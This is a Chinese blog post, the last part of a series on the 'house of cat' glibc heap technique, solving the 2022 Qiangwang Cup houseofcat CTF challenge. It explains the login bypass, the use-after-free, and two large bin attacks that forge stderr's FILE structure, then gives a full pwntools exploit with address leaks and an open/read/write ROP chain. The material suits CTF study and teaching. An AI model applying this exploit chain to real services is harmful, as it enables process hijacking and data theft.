首页 > 其他分享 >浅析house of cat(下)

浅析house of cat(下)

时间:2024-08-15 12:56:08浏览次数:14  
标签:p64 libc house pop cat base heap rop 浅析

前言:

这篇是hosue of cat 系列的最后一篇,之后估计要停一段时间去学apple1,个人感觉学习的顺序应该是orange -> apple2 -> cat -> emma ->apple1但是实际上学到cat应该就可以通杀了。但是本着学习的态度,还是看看apple1。外一以后需要用上呢。

例题:

这里选的例题是2022强网杯的house of cat,很经典的一道例题。

程序逻辑:

程序是一个菜单的堆题,不过在使用程序的主要功能之前,需要输入一些数据来绕过这个检查,可能自己的逆向能力还得提高吧,这里的检查我看了很长时间并结合网上的exp才弄出来,结论就是最开始输入LOGIN | r00t QWB QWXFadmin去进行登录,接下来每一次调用具体的增删改查功能之前都要发送一句CAT | r00t QWB QWXF$\xff ,接下来才能去执行正常的功能。

功能一共有四个 add edit show delete,不算复杂,具体漏洞如下:

1.edit 函数只能使用两次,并且只能写入 0x30 字节的数据
2.delete 函数删除后指针未清0,存在 UAF 漏洞
3.add 函数允许申请16个堆块,申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以向里面写入 size 字节的数据。
4.show 函数只能泄露 0x30 字节的数据

利用思路

  1. 利用largbin内的堆块泄露 libc 地址和堆地址
  2. 利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址,从而控制 _IO_2_1_stderr 结构体的各个字段
  3. 第二次 large bin attack 去篡改 top chunk 的 size 将其改为非法(要往小了改,因为只有 top chunk 无法满足要申请的 size 时,才会触发 sysmalloc) 注意 large bin attack 想将 top chunk 的 size 改小的话,需要地址错位
  4. 申请一个堆块,此时执行 __malloc_assert 触发攻击

利用largbin内的堆块泄露 libc 地址和堆地址

#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

利用 edit 函数完成第一次 large bin attack 向 libc 中的全局变量 stderr 写入一个堆地址

add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

第二次 large bin attack 去篡改 top chunk 的 size 

add(7,0x430,'flag\x00')

delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

完成攻击

add(10,0x450,'flag\x00')

结果:

完整exp:

from pwn import *
from pwncli import *
from pwn_std import *
context(os='linux', arch='amd64', log_level='debug')
p= getProcess("ctf.qwq.cc","10016","./houseofcat")
elf = ELF("./houseofcat")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
'''

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size).encode())
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

#泄露libc和heap
add(0,0x440,'flag\x00')
add(1,0x420,'flag\x00')
add(2,0x430,'flag\x00')
delete(0)
add(3,0x450,'flag\x00')
show(0)
fd=uu64(ru('\x7f')[-6:])
libc_base=fd-(0x7f6f8a9bd0e0-0x7f6f8a7a3000)
print("libc_base=",hex(libc_base))
print("fd=",hex(fd))
heap_addr=uu64(ru('\x55')[-6:])
heap_base=heap_addr-(0x556aa3a51290-0x556aa3a51000)
print("heap_base=",hex(heap_base))

stderr_addr=libc_base+0x7f04ef532860-0x7f04ef318000
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall = libc_base + 0x11ea3b
#close
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# flag store address
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)

io_wfile_jumps = libc_base + 0x2160c0
fake_IO_stderr=IO_FILE_plus_struct()
fake_IO_stderr._lock=heap_base+0x559fa1786290-0x55a33d39c000
fake_IO_stderr._wide_data=heap_base+0x55cbc30c73d0- 0x55cbc30c6000
fake_IO_stderr.vtable=io_wfile_jumps+0x10

fake_IO_stderr=fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0,  #_IO_write_base
    0x18:0,  #_IO_write_ptr
    0x20:0,  #_IO_write_end
    0x28:0,  #_IO_buf_base
    0x30:0,  #_IO_buf_end
    0x38:0,  #_IO_save_base
    0x40:0,  #_IO_backup_base
    0x48:0,#_IO_save_end
    0x50:0,  #_markers
    0x58:0,  #_chain
    0x60:0,  #_fileno
    0x68:0,  #_old_offset
    0x70:0,  #_cur_column
    0x78:libc_base + 0x21ba60,  #_lock
    0x80:0,  #_offset
    0x88:0,  #_codecvt
    0x90:heap_base+0x55cbc30c73d0- 0x55cbc30c6000,  #_wide_data
    0x98:0,  #_freeres_list
    0xa0:0,  #_freeres_buf
    0xa8:0,  #__pad5
    0xb0:0,  #_mode
    0xc8:io_wfile_jumps+0x10,#vtable

})


fake_IO_wide_data=flat({
    0x0:bytes(rop),
    0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
    0xf8:libc_base+0x000000000005a170#0x000000000005a170 : mov rsp, rdx ; ret
})
'''
fake_IO_wide_data=flat({
    0x0:[libc_base+0x000000000002a3e5,#pop rdi
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret                                          
        0,##
        libc_base+0x0000000000108b03,#libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
        0,
        0,##
        0,
        libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
        2,
        libc_base+libc.sym["syscall"]+27,
        libc_base+0x000000000002a3e5,#pop rdi
        3,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
        0x100,
        0,
        read_addr,
        libc_base+0x000000000002a3e5,#pop rdi,
        1,
        write_addr,],
    0xb0:0,
    0xb8:0,
    0xc0:0,
    0xc8:0,
    0xd0:0,
    0xd8:0,
    0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
    0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
'''
add(4,0x440,bytes(fake_IO_stderr))
delete(4)
add(5,0x450,b'flag\x00\x00\x00\x00'+p64(0)+fake_IO_wide_data)
edit(0,p64(fd)*2+p64(heap_addr)+p64(stderr_addr-0x20))
delete(2)
add(6,0x450,'flag\x00')

add(7,0x430,'flag\x00')

delete(7)
edit(0,p64(fd)*2+p64(heap_addr)+p64(heap_base+0x1c70-0x20+3))

pause()
add(10,0x450,'flag\x00')
#pause()
#add(11, 0x420, 'a')
#pause()

ita()

 

标签:p64,libc,house,pop,cat,base,heap,rop,浅析
From: https://blog.csdn.net/2301_79327647/article/details/141193125

相关文章

  • 浅析house of cat(上)
    前言原本以为只学习houseofapple2就足以应对所有高版本了,但是还是被白名单制裁了,这里浅析一下houseofcat以弥补apple2的缺陷。houseofcat预计分三个部分来讲解,这篇是源码原理分析。中篇主要讲解源码调试和一些在本篇里没有讲解到的小细节绕过,下篇主要讲解例题。我个人......
  • 学习009-01 Create a Standalone Web API Application(创建一个独立的 Web API 应用程
    CreateaStandaloneWebAPIApplication(创建一个独立的WebAPI应用程序)Thistopiccontainsstep-by-stepinstructionsonhowtocreateanapplicationwiththeWebAPI.FormoreinformationontheWebAPI,seethefollowingtopic:BackendWebAPIService......
  • ADALORA: ADAPTIVE BUDGET ALLOCATION FOR PARAMETER-EFFICIENT FINE-TUNING 笔记
    ADALORA的前世今生......
  • Linux Web项目部署过程命令 Tomcat组件
    LinuxWeb项目部署过程命令Tomcat,本文涉及的是打成jar包方式的前后端分离项目,打成war包的方式也有解释介绍。1.连接服务器2.利用lsof命令查看web后端部署端口进程,然后kill杀死进程,                            ......
  • Sorting By Multiplication
    严谨证明其实真的很难设每次操作为\((l,r,x)\),其中\(l,r\)表示操作的左右端点,\(x\)表示乘以的值首先我们知道,最后由于严格升序,所以数列分成三段,第一段为负数,第二段为\(0\),第三段为正数;操作之间的顺序无关紧要;操作之间不会跨段:如果有跨段,那么一定是跨了三段(只跨两段的话,有一段就......
  • 简单的spring boot tomcat版本升级
    简单的springboottomcat版本升级1.需求我们使用的springboot版本为2.3.8.RELEASE,对应的tomcat版本为9.0.41,公司tomcat对应版本发现攻击者可发送不完整的POST请求触发错误响应,从而可能导致获取其他用户先前请求的数据,造成信息泄露的bug,行方要求对tomcat版本进行升级,受......
  • CentOS7系统安装Tomcat
    系统:Windows11家庭中文版应用:VMwareWorkstationPro  FinalShell4.3.10使用包:apache-tomcat-8.5.53.tar.gz目录:1.安装Tomcat     2.修改端口号     3.如何使用浏览器访问tomcat        4.配置Tomcat服务安装        前提......
  • cats 的电脑中毒
    要把二进制数的“每一位”取反,用^((1<<n)-1),(~运算会得到一个负数,而且也没有取出前n位)点击查看代码#include<bits/stdc++.h>usingnamespacestd;strings[5];intcnt[10],tot[10];//1表示可以通过改变这一位使得tot+1voidchange(intx){ cnt[x]--; for(inti=0;i<3;......
  • 一、Tomcat基础知识与运行原理
    本章节为介绍如何安装Tomcat工具以及其主要架构知识概念,深入浅出让新人玩家理解为什么选择该容器以及该容器的优点web服务器概念服务器:安装了服务器软件的计算机服务器软件:接收用户的请求,处理请求,做出响应web服务器软件:接收用户的请求,处理请求,做出响应。在web服务器软件......
  • 2024“钉耙编程”中国大学生算法设计超级联赛(8)1006 cats 的最小生成树
    题目大意:给出有\(n\)个点\(m\)条边的图,接下来进行若干次操作,每次操作取出当前图的最小生成树,然后删去这些构成最小生成树的边,知道该图不连通,输出每条边在第几次操作时被删除思路:由于构成最小生成树的边数是\(n-1\)条边,所以最多操作次数为\(\lfloor\frac{m}{n-1}\rfloor\),每次......